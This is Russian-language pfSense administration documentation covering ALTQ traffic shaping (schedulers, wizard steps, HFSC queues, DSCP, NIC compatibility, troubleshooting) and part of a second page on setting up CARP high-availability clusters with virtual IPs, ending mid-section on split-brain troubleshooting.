### Сравнение планировщиков

| Характеристика | PRIQ | CBQ | HFSC | FAIRQ |
|---|---|---|---|---|
| Иерархия очередей | Нет (плоская) | Да | Да | Ограниченная |
| Диапазон приоритетов | 0-15 | 0-7 | - | 0-7 |
| Заимствование полосы | Нет | Да | Да | Нет |
| Гарантия полосы | Нет | Нет | Да (real-time curve) | Нет |
| Контроль burst | Нет | Нет | Да (m1/d параметры) | Нет |
| Настройка через визард | Да | Да | Да | Нет |
| Сложность настройки | Низкая | Средняя | Высокая | Средняя |
| Риск starvation | Высокий | Низкий | Низкий | Низкий |

## Настройка через визард

Визард Traffic Shaper - рекомендуемый способ первоначальной настройки ALTQ. Визард создаёт набор очередей и правил floating для наиболее распространённых сценариев приоритизации.

### Доступ к визарду

Перейти в **Firewall > Traffic Shaper > Wizards**. pfSense предоставляет несколько вариантов визарда:

- **Traffic Shaper Wizard** - основной визард для настройки приоритизации трафика
- **Multiple LAN/WAN** - визард для конфигураций с несколькими WAN или LAN интерфейсами

### Шаги визарда

#### Шаг 1: Выбор интерфейсов

Указать WAN-интерфейс (или несколько, при multi-WAN конфигурации) и LAN-интерфейс. Для каждого WAN-интерфейса визард создаст отдельный набор очередей.

#### Шаг 2: Скорости канала

Указать скорость upload и download для WAN-соединения. Рекомендуется указывать 85-95% от реальной скорости канала. Указание полной скорости приводит к буферизации в оборудовании провайдера, что нивелирует эффект приоритизации.

Выбрать тип планировщика. Для большинства сценариев рекомендуется HFSC (обеспечивает гарантии полосы пропускания) или PRIQ (простая приоритизация без гарантий).

#### Шаг 3: VoIP

Настройка приоритизации VoIP-трафика. Визард предлагает выбрать провайдера VoIP из предопределённого списка или указать параметры вручную. При активации этого шага VoIP-трафик получает наивысший приоритет.

Параметры, доступные на этом шаге:

- **Enable** - включить приоритизацию VoIP
- **Provider** - выбор из списка известных VoIP-провайдеров (определяет порты и протоколы)
- **Connection Upload/Download** - полоса пропускания, выделяемая для VoIP

#### Шаг 4: Penalty Box

Penalty Box позволяет принудительно ограничить определённые IP-адреса или подсети, помещая их в очередь с наименьшим приоритетом. Трафик хостов, помещённых в Penalty Box, обслуживается только при наличии свободной полосы пропускания.

- **Enable** - включить Penalty Box
- **Address** - IP-адреса или подсети для помещения в Penalty Box
- **Bandwidth** - максимальная полоса пропускания для Penalty Box (в процентах от общей или в абсолютных значениях)

#### Шаг 5: P2P Networking

Настройка ограничения P2P-трафика (BitTorrent и подобных протоколов). P2P-трафик помещается в очередь с низким приоритетом.

- **Enable** - включить ограничение P2P
- **Bandwidth** - полоса пропускания для P2P-трафика

> **Внимание**:
>
> Обнаружение P2P-трафика основано на известных портах и протоколах. Зашифрованный P2P-трафик на нестандартных портах может не определяться корректно и обрабатываться как обычный трафик.

#### Шаг 6: Категории трафика

Визард предоставляет настройку приоритетов для стандартных категорий:

- **Games** - трафик онлайн-игр (высокий приоритет)
- **Other networking protocols** - ICMP, DNS, SNMP (средний-высокий приоритет)
- **Multimedia/Streaming** - аудио и видеостриминг
- **Work/Business** - HTTPS, IMAP, SMTP, SSH (средний-высокий приоритет)

Для каждой категории можно задать:

- Включение/отключение приоритизации
- Полосу пропускания (при использовании HFSC или CBQ)

#### Шаг 7: Применение

Визард генерирует очереди и floating rules и применяет конфигурацию. Все существующие очереди и правила шейпера удаляются и заменяются новыми.

> **Внимание**:
>
> Повторный запуск визарда полностью перезаписывает текущую конфигурацию шейпера. Все ручные изменения очередей и правил будут утеряны. Перед запуском визарда рекомендуется создать резервную копию конфигурации в **Diagnostics > Backup & Restore**.

## Ручная настройка очередей

После создания базовой конфигурации визардом или при необходимости тонкой настройки очереди могут быть созданы и отредактированы вручную.

### Создание корневой очереди

1. Перейти в **Firewall > Traffic Shaper > By Interface**
2. Выбрать интерфейс (WAN или LAN)
3. Настроить корневую очередь:
   - **Scheduler Type** - тип планировщика (PRIQ, CBQ, HFSC или FAIRQ)
   - **Bandwidth** - общая полоса пропускания интерфейса
   - **Queue Limit** - максимальное количество пакетов в очереди
4. Сохранить

### Создание дочерних очередей

1. Выбрать корневую очередь в дереве интерфейса
2. Нажать **Add new Queue**
3. Настроить параметры:
   - **Queue Name** - имя очереди (без пробелов)
   - **Priority** - приоритет (зависит от типа планировщика)
   - **Bandwidth** - полоса пропускания для CBQ/HFSC
   - **Bandwidth Type** - единицы (%, Kbit/s, Mbit/s)
   - **Queue Limit** - предел очереди в пакетах
   - **Default Queue** - отметить одну очередь как очередь по умолчанию (для неклассифицированного трафика)
4. Сохранить

### Параметры HFSC Service Curves

При использовании HFSC для каждой дочерней очереди доступны три кривые обслуживания:

**Upper Limit Service Curve:**
- **m1** - burst bandwidth (Kbit/s)
- **d** - burst duration (ms)
- **m2** - steady-state bandwidth cap (Kbit/s)

**Real Time Service Curve:**
- **m1** - initial burst guarantee
- **d** - burst duration
- **m2** - minimum guaranteed bandwidth (не более 30% от родительской очереди)

**Link Share Service Curve:**
- **m1** - burst sharing bandwidth
- **d** - burst duration
- **m2** - steady-state share

Для типичных сценариев достаточно задать только параметр m2 в каждой кривой, оставив m1 и d нулевыми.

### Назначение трафика в очереди

Трафик направляется в очереди через правила файрвола. Существует два метода:

**Floating rules с действием Match:**

1. Перейти в **Firewall > Rules > Floating**
2. Создать правило с действием **Match** (не Pass и не Block)
3. Указать параметры классификации трафика (порты, протоколы, адреса)
4. В параметрах правила выбрать **Ack Queue** и **Queue**
5. Правило Match не влияет на пропуск или блокировку трафика - оно только классифицирует пакеты и направляет их в соответствующие очереди

**Правила интерфейсов с действием Pass:**

1. В существующем правиле Pass на вкладке интерфейса
2. В разделе Advanced выбрать **Ack Queue** и **Queue**
3. Пакеты, совпавшие с этим правилом, будут направлены в указанную очередь

**Ack Queue** используется для выделения TCP ACK-пакетов в отдельную очередь. Это рекомендуемая практика, поскольку задержка ACK-пакетов существенно снижает производительность TCP.

## DiffServ и DSCP маркировка

ALTQ поддерживает маркировку пакетов значениями DSCP (Differentiated Services Code Point). Маркировка полезна при взаимодействии с провайдером или вышестоящим маршрутизатором, поддерживающим DiffServ.

### Стандартные значения DSCP

| DSCP значение | PHB класс | Назначение |
|---|---|---|
| EF (46) | Expedited Forwarding | VoIP, видео реального времени |
| AF41 (34) | Assured Forwarding 4 | Видеоконференции |
| AF31 (26) | Assured Forwarding 3 | Потоковое видео |
| AF21 (18) | Assured Forwarding 2 | Транзакционные данные |
| AF11 (10) | Assured Forwarding 1 | Объёмные данные |
| CS1 (8) | Class Selector 1 | Фоновый трафик (backup, P2P) |
| BE (0) | Best Effort | Трафик по умолчанию |

### Настройка DSCP маркировки

Маркировка настраивается в параметрах очереди. Пакеты, попавшие в очередь, маркируются указанным значением DSCP при выходе с интерфейса.

Маркировка входящего трафика от провайдера может использоваться для классификации - pfSense может считывать DSCP-метки входящих пакетов и направлять их в соответствующие очереди на основании правил файрвола с фильтрацией по DSCP.

## Аппаратные ограничения

### Совместимость драйверов NIC

ALTQ работает только с сетевыми адаптерами, драйверы которых поддерживают фреймворк ALTQ. Наиболее распространённые совместимые драйверы:

| Драйвер | Адаптеры | Совместимость с ALTQ |
|---|---|---|
| igb | Intel I350, I210, I211 | Да |
| em | Intel PRO/1000 | Да |
| ix | Intel 10G (X520, X540) | Да |
| re | Realtek 8111/8168 | Да |
| bge | Broadcom BCM57xx | Да |
| vtnet | Virtio (виртуализация) | Да |
| vmx | VMware VMXNET3 | Да |
| ixl | Intel X710, XL710 | Проверить версию |

При использовании несовместимого драйвера ALTQ не активируется и очереди не создаются. Ошибка отображается в системном журнале. В этом случае следует использовать Limiters, которые не зависят от драйверов.

Для проверки совместимости конкретного адаптера следует обратиться к странице **System > General Setup** и определить имя драйвера интерфейса, затем проверить его наличие в списке совместимых драйверов в документации Netgate.

### Влияние на производительность

Активация ALTQ снижает максимальную пропускную способность межсетевого экрана. На оборудовании с процессорами ARM или Atom снижение может достигать 30-50%. На серверном оборудовании с процессорами Xeon влияние менее значительно, но всё равно присутствует.

Рекомендации:

- На каналах свыше 1 Gbit/s оценить, достаточна ли производительность оборудования с активным ALTQ
- Для каналов свыше 10 Gbit/s ALTQ, как правило, непрактичен - следует использовать Limiters или внешнее оборудование QoS
- Провести нагрузочное тестирование после активации шейпера

## Мониторинг очередей

### Status > Queues

Страница **Status > Queues** отображает состояние всех активных очередей в реальном времени:

- Название очереди и её место в иерархии
- Текущая загрузка (в процентах от выделенной полосы пропускания)
- Количество пакетов в очереди
- Счётчик отброшенных пакетов (drops)
- Графики загрузки

Высокое значение drops указывает на недостаточную полосу пропускания для данной очереди. Если drops растут в критичных очередях (VoIP, интерактивный трафик) - необходимо пересмотреть распределение полосы пропускания.

### Интерпретация графиков

Для корректной работы шейпера график корневой очереди должен показывать загрузку, близкую к 100%, в моменты пиковой нагрузки. Если корневая очередь загружена менее чем на 50% в периоды нагрузки - значение общей полосы пропускания установлено слишком высоко, и шейпер не выполняет свою функцию.

## Диагностика проблем

### Визард не применяет конфигурацию

1. Убедиться, что драйвер NIC совместим с ALTQ. Проверить **System > General Setup** для определения драйвера.
2. Проверить журнал системы (**Status > System Logs**) на наличие ошибок, связанных с ALTQ.
3. Убедиться, что указанные скорости upload/download корректны и не превышают физические возможности канала.

### Очереди созданы, но трафик не приоритизируется

1. Проверить, что floating rules с действием Match созданы и активны (**Firewall > Rules > Floating**).
2. Убедиться, что трафик совпадает с правилами классификации - проверить в **Diagnostics > States**.
3. Проверить **Status > Queues** - если трафик не попадает в целевые очереди, правила классификации некорректны.
4. Убедиться, что одна из очередей назначена как Default - неклассифицированный трафик попадает в неё.

### Высокие drops в очередях

1. Drops - нормальное явление для очередей с низким приоритетом при высокой нагрузке.
2. Drops в очередях с высоким приоритетом указывают на недостаточную выделенную полосу пропускания.
3. Увеличить полосу пропускания для очереди или пересмотреть распределение.
4. Проверить, что общая скорость канала указана корректно (85-95% от реальной).

### Несовместимый драйвер NIC

Если сетевой адаптер не поддерживает ALTQ:

1. Использовать Limiters вместо ALTQ - они не зависят от драйверов
2. При необходимости приоритизации - рассмотреть замену сетевого адаптера на совместимый (Intel igb, em или ix)
3. В виртуальных средах - убедиться, что используется драйвер vtnet (KVM/QEMU) или vmx (VMware)

## Связанные разделы

- [Traffic Shaper в pfSense](/docs/pfsense/traffic-shaper/) - обзор механизмов управления полосой пропускания, сравнение ALTQ и Limiters
- [Limiters](/docs/pfsense/traffic-shaper/pfsense-limiters/) - ограничение полосы пропускания per-IP и per-subnet через dummynet
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание правил и floating rules для классификации трафика


---

# CARP и Virtual IPs в pfSense - настройка кластера HA

Source: https://opennix.org/docs/pfsense/high-availability/pfsense-carp-setup/


CARP (Common Address Redundancy Protocol) - протокол отказоустойчивости сетевого уровня, разработанный командой OpenBSD как свободная от патентных ограничений альтернатива Cisco HSRP и стандарту VRRP. В pfSense CARP обеспечивает автоматическое переключение виртуальных IP-адресов между узлами кластера при отказе основного узла. Клиенты сети обращаются к виртуальному адресу (CARP VIP), который всегда обслуживается активным узлом - переключение происходит прозрачно, без необходимости изменения сетевых настроек на клиентских устройствах.

Каждый узел кластера периодически отправляет heartbeat-сообщения по каждому интерфейсу, на котором сконфигурирован CARP VIP. При стандартных параметрах частоты (base 1, skew 0 для master) heartbeat отправляется примерно раз в секунду. Узел с наименьшим значением skew отправляет heartbeat быстрее и принимает роль master. Если backup-узел перестаёт получать heartbeat в течение заданного интервала, он повышает свой статус до master и начинает обрабатывать трафик, направленный на CARP VIP.

## Требования к IP-адресации

Корректная работа CARP-кластера требует тщательного планирования адресного пространства. Для каждого сетевого интерфейса, участвующего в отказоустойчивости, необходимо выделить минимум три IP-адреса в одной подсети.

### Схема адресации

| Назначение | WAN | LAN | Sync |
|---|---|---|---|
| Primary node | 198.51.100.201/24 | 192.168.1.2/24 | 172.16.1.2/24 |
| Secondary node | 198.51.100.202/24 | 192.168.1.3/24 | 172.16.1.3/24 |
| CARP VIP | 198.51.100.200/24 | 192.168.1.1/24 | - |

Sync-интерфейс не требует CARP VIP, поскольку он используется исключительно для прямого обмена данными между узлами кластера (pfsync и XMLRPC).

### Требования к размеру подсетей

Для WAN-интерфейса минимально необходима подсеть /29 (6 usable-адресов), позволяющая разместить два адреса узлов, CARP VIP и адрес шлюза провайдера. В production-средах рекомендуется использовать /28 или шире для обеспечения запаса адресов при расширении кластера или добавлении дополнительных CARP VIP.

Для LAN-интерфейса ограничений на размер подсети обычно нет - стандартная подсеть /24 предоставляет достаточный адресный ресурс.

> **Внимание**:
>
> CARP VIP должен находиться в той же подсети, что и индивидуальные адреса узлов на данном интерфейсе. Использование адреса из другой подсети приведёт к неработоспособности CARP на этом интерфейсе.

### Адресация для дополнительных интерфейсов

При наличии дополнительных интерфейсов (DMZ, OPT1, OPT2 и т.д.) каждый из них требует аналогичной схемы с тремя адресами. Следует заранее документировать план адресации для всех интерфейсов кластера, чтобы избежать конфликтов и упростить диагностику.

| Интерфейс | Primary | Secondary | CARP VIP |
|---|---|---|---|
| WAN | .201 | .202 | .200 |
| LAN | .2 | .3 | .1 |
| DMZ | 10.0.1.2 | 10.0.1.3 | 10.0.1.1 |
| OPT1 | 10.0.2.2 | 10.0.2.3 | 10.0.2.1 |
| Sync | 172.16.1.2 | 172.16.1.3 | - |

## Подготовка оборудования

Надёжность HA-кластера напрямую зависит от качества подготовки аппаратной платформы и сетевой инфраструктуры.

### Требования к оборудованию узлов

Оба узла кластера должны иметь идентичную конфигурацию сетевых интерфейсов. Это критическое требование - pfSense выполняет синхронизацию конфигурации через XMLRPC на основании порядка назначения интерфейсов (interface assignment). Если порядок интерфейсов различается между узлами, синхронизация правил файрвола, NAT и других параметров приведёт к некорректным результатам.

Рекомендации по оборудованию:

- Идентичные модели сетевых адаптеров на обоих узлах для обеспечения одинакового порядка назначения интерфейсов
- Одинаковая версия pfSense на обоих узлах
- Достаточный объём оперативной памяти для хранения таблицы состояний (pfsync реплицирует все состояния)
- Раздельные источники питания для исключения единой точки отказа

> **Внимание**:
>
> Интерфейсы на обоих узлах должны быть назначены в строго одинаковом порядке. Если на primary-узле WAN назначен на igb0, LAN на igb1 и Sync на igb2, то на secondary-узле должно быть точно такое же соответствие. Несовпадение приведёт к некорректной синхронизации конфигурации.

### Выделенный интерфейс синхронизации

Для обмена данными pfsync и XMLRPC между узлами необходимо выделить отдельный сетевой интерфейс. Использование LAN или WAN-интерфейса для синхронизации технически возможно, но крайне не рекомендуется по следующим причинам:

- Трафик синхронизации состояний может быть значительным при высокой нагрузке
- pfsync передаёт данные в открытом виде - перехват на общем сегменте представляет угрозу безопасности
- Выделенный интерфейс исключает влияние основного трафика на синхронизацию

Sync-интерфейс следует подключать напрямую кроссовер-кабелем между узлами или через выделенный VLAN на коммутаторе, изолированный от общего трафика.

### Конфигурация коммутатора

Коммутатор, к которому подключены оба узла кластера, должен поддерживать следующие функции:

| Требование | Описание |
|---|---|
| Multicast-трафик | CARP в режиме multicast использует адрес 224.0.0.18. Коммутатор не должен блокировать или фильтровать этот трафик |
| Несколько MAC-адресов на порту | Каждый CARP VIP использует виртуальный MAC-адрес формата 00:00:5e:00:01:XX (где XX - VHID) |
| Миграция MAC-адресов | При переключении master виртуальный MAC перемещается на другой порт коммутатора |

На управляемых коммутаторах необходимо проверить, что функции port security, MAC address limiting или DHCP snooping не блокируют работу CARP. Эти механизмы защиты могут интерпретировать появление нового MAC-адреса на порту или multicast-трафик CARP как аномалию.

В средах, где multicast-трафик недоступен или заблокирован (некоторые cloud-провайдеры, определённые конфигурации коммутаторов), pfSense Plus поддерживает unicast-режим CARP. В этом режиме heartbeat-сообщения отправляются напрямую на IP-адрес партнёрского узла вместо multicast-группы.

## Создание Virtual IP

Виртуальные IP-адреса CARP создаются через веб-интерфейс pfSense в разделе **Firewall > Virtual IPs**. Настройка выполняется только на primary-узле - при корректно настроенной синхронизации XMLRPC виртуальные адреса автоматически реплицируются на secondary-узел.

### Параметры CARP VIP

При создании нового Virtual IP типа CARP необходимо указать следующие параметры:

| Параметр | Описание | Рекомендация |
|---|---|---|
| **Type** | Тип виртуального IP | Выбрать CARP |
| **Interface** | Интерфейс привязки | WAN, LAN или другой интерфейс |
| **Address(es)** | IP-адрес и маска подсети | Адрес из подсети интерфейса, маска совпадает с маской интерфейса |
| **Virtual IP Password** | Пароль для аутентификации CARP | Сгенерировать случайную строку, одинаковую на обоих узлах |
| **VHID Group** | Идентификатор виртуальной группы (1-255) | Уникальный в пределах broadcast-домена |
| **Advertising Frequency** | Base и Skew для управления приоритетом | Base: 1, Skew: 0 для master |

![CARP Virtual IP на узле](/img/pfsense/pfsense-ha-carp-vips.webp)
<p style="text-align: center;">Рис. 1. Настроенные CARP Virtual IP (WAN и LAN)</p>

### Назначение VHID

VHID (Virtual Host ID) - уникальный идентификатор виртуальной группы CARP в пределах одного broadcast-домена (VLAN или физического сегмента). Значение VHID находится в диапазоне от 1 до 255.

Рекомендуемая схема назначения VHID:

| Интерфейс | Протокол | VHID |
|---|---|---|
| WAN | IPv4 | 200 |
| WAN | IPv6 | 201 |
| LAN | IPv4 | 1 |
| LAN | IPv6 | 2 |
| DMZ | IPv4 | 10 |
| OPT1 | IPv4 | 20 |

Значения VHID не должны пересекаться в пределах одного broadcast-домена. Если в сегменте присутствуют несколько независимых CARP-кластеров (например, два кластера pfSense на одном WAN-сегменте), каждый из них должен использовать уникальные VHID.

> **Внимание**:
>
> Конфликт VHID между независимыми кластерами в одном broadcast-домене приводит к непредсказуемому поведению - оба кластера будут конкурировать за одну виртуальную группу, вызывая постоянные переключения ролей master/backup.

### Advertising Frequency

Параметр Advertising Frequency определяет частоту отправки CARP heartbeat и состоит из двух компонентов:

- **Base** - базовый интервал в секундах (по умолчанию 1)
- **Skew** - дополнительная задержка в единицах 1/256 секунды

Узел с наименьшим значением (base + skew/256) отправляет heartbeat чаще и становится master. На primary-узле следует использовать skew 0, на secondary - skew 100 или выше. Чем больше значение skew, тем ниже приоритет узла.

При синхронизации через XMLRPC значения skew автоматически корректируются на secondary-узле, обеспечивая правильную иерархию приоритетов.

## Настройка CARP на Primary

Конфигурация CARP на основном узле выполняется в первую очередь. Все настройки впоследствии реплицируются на secondary через XMLRPC.

### Предварительные условия

Перед созданием CARP VIP на primary-узле необходимо выполнить:

1. Назначить все сетевые интерфейсы через **Interfaces > Interface Assignments**
2. Сконфигурировать статические IP-адреса на каждом интерфейсе (WAN, LAN, Sync)
3. Убедиться, что primary-узел имеет сетевой доступ к шлюзу провайдера
4. Задать уникальное hostname для primary-узла через **System > General Setup**

### Создание WAN CARP VIP

Перейти в **Firewall > Virtual IPs** и нажать **Add**.

Заполнить параметры:

| Параметр | Значение |
|---|---|
| Type | CARP |
| Interface | WAN |
| Address(es) | 198.51.100.200/24 |
| Virtual IP Password | (случайная строка) |
| VHID Group | 200 |
| Advertising Frequency | Base: 1, Skew: 0 |
| Description | WAN CARP VIP |

Нажать **Save**, затем **Apply Changes**.

### Создание LAN CARP VIP

Повторить процедуру для LAN-интерфейса:

| Параметр | Значение |
|---|---|
| Type | CARP |
| Interface | LAN |
| Address(es) | 192.168.1.1/24 |
| Virtual IP Password | (случайная строка) |
| VHID Group | 1 |
| Advertising Frequency | Base: 1, Skew: 0 |
| Description | LAN CARP VIP |

Нажать **Save**, затем **Apply Changes**.

### Дополнительные интерфейсы

Для каждого дополнительного интерфейса (DMZ, OPT1, OPT2) необходимо создать отдельный CARP VIP по аналогичной процедуре. Каждый VIP должен иметь уникальный VHID в пределах своего broadcast-домена.

Пример для DMZ-интерфейса:

| Параметр | Значение |
|---|---|
| Type | CARP |
| Interface | DMZ |
| Address(es) | 10.0.1.1/24 |
| Virtual IP Password | (случайная строка) |
| VHID Group | 10 |
| Advertising Frequency | Base: 1, Skew: 0 |
| Description | DMZ CARP VIP |

### IPv6 CARP VIP

При использовании двойного стека (dual-stack) для каждого IPv6-адреса необходимо создать отдельный CARP VIP с собственным VHID. Процедура аналогична IPv4, но в поле Address указывается IPv6-адрес с соответствующей длиной префикса.

| Параметр | Значение |
|---|---|
| Type | CARP |
| Interface | WAN |
| Address(es) | 2001:db8::200/64 |
| VHID Group | 201 |
| Advertising Frequency | Base: 1, Skew: 0 |
| Description | WAN CARP VIP IPv6 |

## Настройка CARP на Secondary

Конфигурация secondary-узла выполняется после завершения настройки primary. При корректно работающей синхронизации XMLRPC CARP VIP создаются автоматически на secondary-узле. Если синхронизация ещё не настроена, виртуальные адреса необходимо создать вручную.

### Предварительные условия

На secondary-узле необходимо выполнить:

1. Назначить интерфейсы в точно таком же порядке, как на primary
2. Задать уникальные статические IP-адреса на каждом интерфейсе (отличные от primary)
3. Указать уникальное hostname через **System > General Setup**
4. Убедиться в сетевой связности между узлами через sync-интерфейс

> **Внимание**:
>
> Не подключайте secondary-узел к LAN-коммутатору до тех пор, пока на нём не сконфигурированы уникальные адреса, отличные от адресов primary-узла. Подключение двух узлов с одинаковыми адресами к одному сегменту вызовет конфликт IP-адресов и потерю связности.

### Ручное создание VIP на Secondary

Если XMLRPC-синхронизация ещё не настроена, создать CARP VIP вручную с идентичными параметрами, изменив только значение Skew:

| Параметр | Primary | Secondary |
|---|---|---|
| Type | CARP | CARP |
| Interface | WAN | WAN |
| Address(es) | 198.51.100.200/24 | 198.51.100.200/24 |
| Virtual IP Password | (совпадает) | (совпадает) |
| VHID Group | 200 | 200 |
| Advertising Frequency Base | 1 | 1 |
| Advertising Frequency Skew | 0 | 100 |

Значение Skew 100 на secondary обеспечивает, что при штатной работе обоих узлов primary всегда будет отправлять heartbeat раньше и удерживать роль master. Чем выше значение Skew, тем ниже приоритет узла в выборах master.

### Автоматическая синхронизация VIP

При настроенной XMLRPC-синхронизации CARP VIP создаются на secondary автоматически. pfSense автоматически корректирует значение Skew на secondary-узле, обеспечивая правильную иерархию приоритетов. В этом случае ручное создание VIP на secondary не требуется и не рекомендуется - дублирование может привести к конфликтам.

## Проверка статуса

После создания CARP VIP на обоих узлах необходимо проверить корректность работы кластера.

### Просмотр статуса CARP

Перейти в **Status > CARP (failover)** на каждом узле. Страница отображает текущее состояние каждого CARP VIP.

Корректное состояние кластера:

| Узел | Ожидаемый статус всех VIP |
|---|---|
| Primary | MASTER |
| Secondary | BACKUP |

Если все VIP на primary отображаются как MASTER, а на secondary как BACKUP, кластер работает корректно.

### Тест ручного переключения

pfSense позволяет выполнить плановое переключение без физического отключения оборудования. На странице **Status > CARP (failover)** primary-узла нажать кнопку **Enter Persistent CARP Maintenance Mode**. Это переведёт все VIP primary-узла в состояние BACKUP, и secondary примет роль MASTER.

Порядок тестирования:

1. На primary перейти в **Status > CARP (failover)**
2. Нажать **Enter Persistent CARP Maintenance Mode**
3. Убедиться, что все VIP на primary перешли в BACKUP
4. На secondary проверить, что все VIP перешли в MASTER
5. Проверить доступность сервисов через CARP VIP
6. На primary нажать **Leave Persistent CARP Maintenance Mode**
7. Убедиться, что primary вернул статус MASTER для всех VIP

### Проверка из командной строки

Статус CARP можно проверить через SSH или консоль:

```bash
ifconfig | grep -A 2 carp
```

Вывод для master-узла:

```
carp: MASTER vhid 200 advbase 1 advskew 0
carp: MASTER vhid 1 advbase 1 advskew 0
```

Вывод для backup-узла:

```
carp: BACKUP vhid 200 advbase 1 advskew 100
carp: BACKUP vhid 1 advbase 1 advskew 100
```

## Использование CARP VIP

Создание CARP VIP - необходимый, но не достаточный шаг. Для корректной работы HA-кластера все сетевые сервисы должны быть привязаны к CARP VIP вместо индивидуальных адресов интерфейсов.

### Правила NAT

Все правила исходящего NAT (outbound NAT) должны использовать CARP VIP в качестве адреса трансляции (Translation Address). При использовании адреса интерфейса (Interface Address) трансляция будет работать только на том узле, который в данный момент является master. После переключения на secondary исходящий NAT перестанет функционировать, поскольку клиенты будут ожидать ответы с IP-адреса CARP VIP, а secondary будет транслировать через свой собственный адрес.

Настройка в **Firewall > NAT**, вкладка **Outbound**:

1. Переключить режим на **Hybrid Outbound NAT rule generation**
2. Создать правило:
   - Interface: WAN
   - Source: LAN Subnets (или конкретная подсеть)
   - Translation Address: выбрать CARP VIP (198.51.100.200)
3. Нажать **Save**, затем **Apply Changes**

![Правило исходящего NAT с CARP VIP](/img/pfsense/pfsense-ha-outbound-nat.webp)
<p style="text-align: center;">Рис. 2. Правило Outbound NAT с привязкой к CARP VIP</p>

> **Внимание**:
>
> Не используйте CARP VIP в качестве Source (адреса источника) в правилах outbound NAT для трафика самого файрвола. Это может нарушить работу протоколов, зависящих от адреса источника (DNS, NTP, обновления пакетов). Правила с CARP VIP должны применяться только к трафику внутренних подсетей.

### Правила проброса портов

Правила Port Forward (Firewall > NAT > Port Forward) должны указывать CARP VIP в поле Destination:

| Параметр | Значение |
|---|---|
| Interface | WAN |
| Destination | WAN CARP VIP (198.51.100.200) |
| Destination Port | Порт сервиса |
| Redirect Target IP | Внутренний IP сервера |

При использовании адреса WAN-интерфейса вместо CARP VIP проброс портов будет работать только на одном узле.

### Правила файрвола

Правила файрвола для входящего трафика на CARP VIP создаются автоматически при настройке Port Forward (если включена опция автоматического создания правила). Для ручных правил в качестве Destination следует указывать алиас или конкретный CARP VIP.

### DHCP-сервер

Конфигурация DHCP-сервера должна использовать CARP VIP в качестве шлюза (gateway) и DNS-сервера, выдаваемых клиентам:

Настройка в **Services > DHCP Server**, вкладка LAN:

| Параметр | Значение |
|---|---|
| DNS Servers | 192.168.1.1 (LAN CARP VIP) |
| Gateway | 192.168.1.1 (LAN CARP VIP) |

Это гарантирует, что клиенты сети обращаются к виртуальному адресу, который всегда обслуживается активным узлом кластера. При указании индивидуального адреса одного из узлов клиенты потеряют доступ к шлюзу и DNS при отказе этого узла.

### VPN-туннели

IPsec и OpenVPN-туннели следует привязывать к CARP VIP:

- **IPsec**: в параметрах Phase 1 указать CARP VIP в качестве Interface или Local Address
- **OpenVPN**: в настройках сервера или клиента указать CARP VIP в поле Interface

При использовании IPsec с CARP VIP необходимо создать отдельное правило outbound NAT для ISAKMP-трафика (порт 500/UDP) с флагом Static Port и привязкой к CARP VIP.

## Миграция с других платформ

Администраторы, переходящие на pfSense с других файрволов, могут использовать следующие соответствия для планирования миграции HA-кластера.

### Cisco ASA Failover

| Cisco ASA | pfSense | Примечание |
|---|---|---|
| Failover pair (active/standby) | CARP cluster (master/backup) | Аналогичная модель active/passive |
| Failover IP address | CARP VIP | Виртуальный адрес для клиентов |
| Stateful failover | pfsync | Синхронизация таблицы состояний |
| Failover link | Sync interface | Выделенный интерфейс синхронизации |
| Failover key | CARP password | Аутентификация между узлами |
| Primary/Secondary unit | Primary/Secondary node | Роли узлов в кластере |
| Monitored interfaces | CARP VIP per interface | pfSense мониторит каждый CARP VIP отдельно |
| Preempt | Skew values | Управление приоритетом через значение Skew |

В Cisco ASA failover-пара может выполнять автоматическое переключение как при отказе узла, так и при отказе отдельного интерфейса. В pfSense CARP работает per-interface - если на одном интерфейсе узел потерял связность, он может перейти в BACKUP только для этого интерфейса, оставаясь MASTER на остальных. Такое состояние (split master) требует дополнительного контроля через Gateway Groups или скрипты мониторинга.

### Fortinet FortiGate HA

| FortiGate HA | pfSense | Примечание |
|---|---|---|
| HA cluster (active-passive) | CARP cluster | Аналогичная модель |
| Virtual MAC/IP | CARP VIP + виртуальный MAC | Автоматическое назначение MAC 00:00:5e:00:01:XX |
| Heartbeat interface | Sync interface | Выделенный интерфейс |
| HA priority | CARP Skew | 0 = highest priority |
| Session pickup | pfsync | Синхронизация состояний |
| Config sync | XMLRPC | Синхронизация конфигурации |
| HA group ID | VHID | Идентификатор виртуальной группы |

FortiGate HA поддерживает active-active кластеры с балансировкой нагрузки. pfSense поддерживает только active-passive. При миграции с active-active FortiGate необходимо учитывать, что вся нагрузка будет обрабатываться одним узлом pfSense.

### MikroTik VRRP

| MikroTik VRRP | pfSense CARP | Примечание |
|---|---|---|
| VRRP interface | CARP VIP | Виртуальный IP-адрес |
| VRID | VHID | Идентификатор виртуального маршрутизатора |
| Priority (0-255) | Skew (0-240) | Инвертированная логика: VRRP 255 = highest, CARP 0 = highest |
| Preempt mode | Всегда активен | pfSense CARP всегда работает в режиме preempt |
| Authentication | CARP password | Аутентификация heartbeat |
| Sync connection tracking | pfsync | MikroTik требует отдельной настройки connection tracking sync |

Ключевое различие: в MikroTik VRRP высокий priority (255) означает высший приоритет, в pfSense CARP низкий skew (0) означает высший приоритет. При планировании миграции необходимо инвертировать логику приоритетов.

MikroTik не имеет встроенного аналога XMLRPC для синхронизации конфигурации между узлами. Администраторы, привыкшие к ручной синхронизации конфигурации MikroTik, получат значительное преимущество от автоматической синхронизации pfSense через XMLRPC.

## Устранение неполадок

### Оба узла в состоянии MASTER

Наиболее распространённая проблема - оба узла одновременно отображают статус MASTER для одних и тех же VIP. Возможные причины:

**Блокировка multicast-трафика.** CARP использует multicast-адрес 224.0.0.18 для heartbeat-сообщений. Если коммутатор или промежуточное сетевое оборудование блокирует multicast, узлы не получают heartbeat друг от друга и оба считают себя master.

Диагностика:

```bash
tcpdump -i em0 proto carp
```

Если heartbeat от второго узла не отображается, проблема в сетевой связности на уровне L2.

**Несовпадение паролей CARP.** Если пароли Virtual IP Password различаются между узлами, heartbeat-сообщения отклоняются как неаутентифицированные.

Решение: убедиться, что пароль CARP VIP идентичен на обоих узлах. При использовании XMLRPC-синхронизации пароль реплицируется автоматически.

**Конфликт VHID.** Наличие другого устройства в том же broadcast-домене с тем же VHID вызывает конкуренцию за виртуальную группу.

Решение: изменить VHID на уникальное значение, не используемое другими устройствами в сегменте.

### Split brain

Состояние split brain возникает, когда оба узла являются master для разных наборов интерфейсов. Например, primary является MASTER на WAN, но BACKUP на LAN, а secondary - наоборот. Это приводит к асимметричной маршрутизации и потере связности.

Причины:

